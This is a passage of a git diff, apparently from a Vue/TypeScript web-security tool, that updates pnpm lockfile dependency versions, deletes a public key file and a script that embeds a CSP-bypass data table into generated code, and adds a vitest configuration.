5.1.0(esbuild@0.24.2) cac: 6.7.14 @@ -4701,17 +5327,17 @@ snapshots: esbuild: 0.24.2 joycon: 3.1.1 picocolors: 1.1.1 - postcss-load-config: 6.0.1(jiti@2.4.2)(postcss@8.5.6)(yaml@2.8.2) + postcss-load-config: 6.0.1(jiti@2.4.2)(postcss@8.5.9)(yaml@2.8.3) resolve-from: 5.0.0 - rollup: 4.53.3 + rollup: 4.60.1 source-map: 0.8.0-beta.0 sucrase: 3.35.1 tinyexec: 0.3.2 - tinyglobby: 0.2.15 + tinyglobby: 0.2.16 tree-kill: 1.2.2 optionalDependencies: - postcss: 8.5.6 - typescript: 5.9.3 + postcss: 8.5.9 + typescript: 5.5.4 transitivePeerDependencies: - jiti - supports-color @@ -4722,6 +5348,8 @@ snapshots: dependencies: prelude-ls: 1.2.1 + type-fest@0.20.2: {} + type-is@2.0.1: dependencies: content-type: 1.0.5 @@ -4761,17 +5389,17 @@ snapshots: possible-typed-array-names: 1.1.0 reflect.getprototypeof: 1.0.10 - typescript-eslint@8.26.1(eslint@10.0.0(jiti@1.21.7))(typescript@5.9.3): + typescript-eslint@8.26.1(eslint@9.29.0(jiti@2.4.2))(typescript@5.5.4): dependencies: - '@typescript-eslint/eslint-plugin': 8.26.1(@typescript-eslint/parser@8.26.1(eslint@10.0.0(jiti@1.21.7))(typescript@5.9.3))(eslint@10.0.0(jiti@1.21.7))(typescript@5.9.3) - '@typescript-eslint/parser': 8.26.1(eslint@10.0.0(jiti@1.21.7))(typescript@5.9.3) - '@typescript-eslint/utils': 8.26.1(eslint@10.0.0(jiti@1.21.7))(typescript@5.9.3) - eslint: 10.0.0(jiti@1.21.7) - typescript: 5.9.3 + '@typescript-eslint/eslint-plugin': 8.26.1(@typescript-eslint/parser@8.26.1(eslint@9.29.0(jiti@2.4.2))(typescript@5.5.4))(eslint@9.29.0(jiti@2.4.2))(typescript@5.5.4) + '@typescript-eslint/parser': 8.26.1(eslint@9.29.0(jiti@2.4.2))(typescript@5.5.4) + '@typescript-eslint/utils': 8.26.1(eslint@9.29.0(jiti@2.4.2))(typescript@5.5.4) + eslint: 9.29.0(jiti@2.4.2) + typescript: 5.5.4 transitivePeerDependencies: - supports-color - typescript@5.9.3: {} + typescript@5.5.4: {} unbox-primitive@1.1.0: dependencies: @@ -4780,13 +5408,13 @@ snapshots: has-symbols: 1.1.0 which-boxed-primitive: 1.1.1 - undici-types@7.16.0: {} + undici-types@7.18.2: {} unpipe@1.0.0: {} - update-browserslist-db@1.2.2(browserslist@4.28.1): + update-browserslist-db@1.2.3(browserslist@4.28.2): dependencies: - browserslist: 4.28.1 + browserslist: 4.28.2 escalade: 3.2.0 picocolors: 1.1.1 @@ -4800,60 +5428,79 @@ snapshots: vary@1.1.2: {} - vite@6.0.7(@types/node@24.10.11)(jiti@1.21.7)(yaml@2.8.2): + vite@6.0.7(@types/node@25.5.2)(jiti@2.4.2)(yaml@2.8.3): dependencies: esbuild: 0.24.2 - postcss: 8.5.6 - rollup: 4.53.3 + postcss: 8.5.9 + rollup: 4.60.1 optionalDependencies: - '@types/node': 24.10.11 - fsevents: 2.3.3 - jiti: 1.21.7 - yaml: 2.8.2 - - vite@6.0.7(@types/node@24.10.11)(jiti@2.4.2)(yaml@2.8.2): - dependencies: - esbuild: 0.24.2 - postcss: 8.5.6 - rollup: 4.53.3 - optionalDependencies: - '@types/node': 24.10.11 + '@types/node': 25.5.2 fsevents: 2.3.3 jiti: 2.4.2 - yaml: 2.8.2 + yaml: 2.8.3 + + vitest@4.1.2(@types/node@25.5.2)(vite@6.0.7(@types/node@25.5.2)(jiti@2.4.2)(yaml@2.8.3)): + dependencies: + '@vitest/expect': 4.1.2 + '@vitest/mocker': 4.1.2(vite@6.0.7(@types/node@25.5.2)(jiti@2.4.2)(yaml@2.8.3)) + '@vitest/pretty-format': 4.1.2 + '@vitest/runner': 4.1.2 + '@vitest/snapshot': 4.1.2 + '@vitest/spy': 4.1.2 + '@vitest/utils': 4.1.2 + es-module-lexer: 2.0.0 + expect-type: 1.3.0 + magic-string: 0.30.21 + obug: 2.1.1 + pathe: 2.0.3 + picomatch: 4.0.4 + std-env: 4.0.0 + tinybench: 2.9.0 + tinyexec: 1.1.1 + tinyglobby: 0.2.16 + tinyrainbow: 3.1.0 + vite: 6.0.7(@types/node@25.5.2)(jiti@2.4.2)(yaml@2.8.3) + why-is-node-running: 2.3.0 + optionalDependencies: + '@types/node': 25.5.2 + transitivePeerDependencies: + - msw vscode-uri@3.1.0: {} - vue-eslint-parser@10.2.0(eslint@10.0.0(jiti@1.21.7)): + vue-eslint-parser@9.4.3(eslint@9.29.0(jiti@2.4.2)): dependencies: debug: 4.4.3 - eslint: 10.0.0(jiti@1.21.7) - eslint-scope: 8.4.0 - eslint-visitor-keys: 4.2.1 - espree: 10.4.0 - esquery: 1.6.0 - semver: 7.7.3 + eslint: 9.29.0(jiti@2.4.2) + eslint-scope: 7.2.2 + eslint-visitor-keys: 3.4.3 + espree: 9.6.1 + esquery: 1.7.0 + lodash: 4.18.1 + semver: 7.7.4 transitivePeerDependencies: - supports-color - vue-tsc@2.2.12(typescript@5.9.3): + vue-tsc@3.1.1(typescript@5.5.4): dependencies: - '@volar/typescript': 2.4.15 - '@vue/language-core': 2.2.12(typescript@5.9.3) - typescript: 5.9.3 + '@volar/typescript': 2.4.23 + '@vue/language-core': 3.1.1(typescript@5.5.4) + typescript: 5.5.4 - vue@3.5.26(typescript@5.9.3): + vue@3.5.22(typescript@5.5.4): dependencies: - '@vue/compiler-dom': 3.5.26 - '@vue/compiler-sfc': 3.5.26 - '@vue/runtime-dom': 3.5.26 - '@vue/server-renderer': 3.5.26(vue@3.5.26(typescript@5.9.3)) - '@vue/shared': 3.5.26 + '@vue/compiler-dom': 3.5.22 + '@vue/compiler-sfc': 3.5.22 + '@vue/runtime-dom': 3.5.22 + '@vue/server-renderer': 3.5.22(vue@3.5.22(typescript@5.5.4)) + '@vue/shared': 3.5.22 optionalDependencies: - typescript: 5.9.3 + typescript: 5.5.4 w3c-keyname@2.2.8: {} + walk-up-path@4.0.0: {} + webidl-conversions@4.0.2: {} whatwg-url@7.1.0: @@ -4884,7 +5531,7 @@ snapshots: isarray: 2.0.5 which-boxed-primitive: 1.1.1 which-collection: 1.0.2 - which-typed-array: 1.1.19 + which-typed-array: 1.1.20 which-collection@1.0.2: dependencies: @@ -4893,7 +5540,7 @@ snapshots: is-weakmap: 2.0.2 is-weakset: 2.0.4 - which-typed-array@1.1.19: + which-typed-array@1.1.20: dependencies: available-typed-arrays: 1.0.7 call-bind: 1.0.8 @@ -4907,19 +5554,12 @@ snapshots: dependencies: isexe: 2.0.0 - word-wrap@1.2.5: {} - - wrap-ansi@7.0.0: + why-is-node-running@2.3.0: dependencies: - ansi-styles: 4.3.0 - string-width: 4.2.3 - strip-ansi: 6.0.1 + siginfo: 2.0.0 + stackback: 0.0.2 - wrap-ansi@8.1.0: - dependencies: - ansi-styles: 6.2.3 - string-width: 5.1.2 - strip-ansi: 7.1.2 + word-wrap@1.2.5: {} wrappy@1.0.2: {} @@ -4927,8 +5567,10 @@ snapshots: xml-name-validator@4.0.0: {} - yaml@2.8.2: {} + yaml@2.8.3: {} yocto-queue@0.1.0: {} zod@3.24.1: {} + + zod@4.3.6: {} diff --git a/public.pem b/public.pem deleted file mode 100644 index 16edec3..0000000 --- a/public.pem +++ /dev/null @@ -1,3 +0,0 @@ ------BEGIN PUBLIC KEY----- -MCowBQYDK2VwAyEAfGM50cwF4CQSmWpcAIZpt+C0DIL1WZnwyzZN48SgLq0= ------END PUBLIC KEY----- diff --git a/scripts/generate-bypass-data.js b/scripts/generate-bypass-data.js deleted file mode 100755 index 2a6c4e5..0000000 --- a/scripts/generate-bypass-data.js +++ /dev/null @@ -1,36 +0,0 @@ -#!/usr/bin/env node - -import { readFileSync, writeFileSync } from 'fs'; -import { join, dirname } from 'path'; -import { fileURLToPath } from 'url'; - -const __dirname = dirname(fileURLToPath(import.meta.url)); - -const tsvPath = join(__dirname, '..', 'data', 'csp-bypass-data.tsv'); -const outputPath = join(__dirname, '..', 'packages', 'backend', 'src', 'bypass-data.generated.ts'); - -try { - const tsvContent = readFileSync(tsvPath, 'utf-8'); - const lines = tsvContent.trim().split('\n'); - const entryCount = Math.max(0, lines.length - 1); - - const escapedContent = tsvContent - .replace(/\\/g, '\\\\') - .replace(/`/g, '\\`') - .replace(/\$/g, '\\$'); - - const generatedFile = `// Auto-generated file - do not edit manually -// Generated from data/csp-bypass-data.tsv -// Contains ${entryCount} CSP bypass entries - -export const CSP_BYPASS_TSV_DATA = \`${escapedContent}\`; - -export const BYPASS_ENTRY_COUNT = ${entryCount}; -`; - - writeFileSync(outputPath, generatedFile, 'utf-8'); - console.log(`Generated bypass data file with ${entryCount} entries`); -} catch (error) { - console.error('Failed to generate bypass data file:', error); - process.exit(1); -} diff --git a/vitest.config.ts b/vitest.config.ts new file mode 100644 index 0000000..84367d4 --- /dev/null +++ b/vitest.config.ts @@ -0,0 +1,20 @@ +import path from "path"; + +import { defineConfig } from "vitest/config"; + +export default defineConfig({ + test: { + globals: true, + environment: "node", + include: [ + "packages/backend/src/**/*.test.ts", + "packages/frontend/src/**/*.test.ts", + ], + passWithNoTests: true, + }, + resolve: { + alias: { + "@": path.resolve(__dirname, "packages/frontend/src"), + }, + }, +});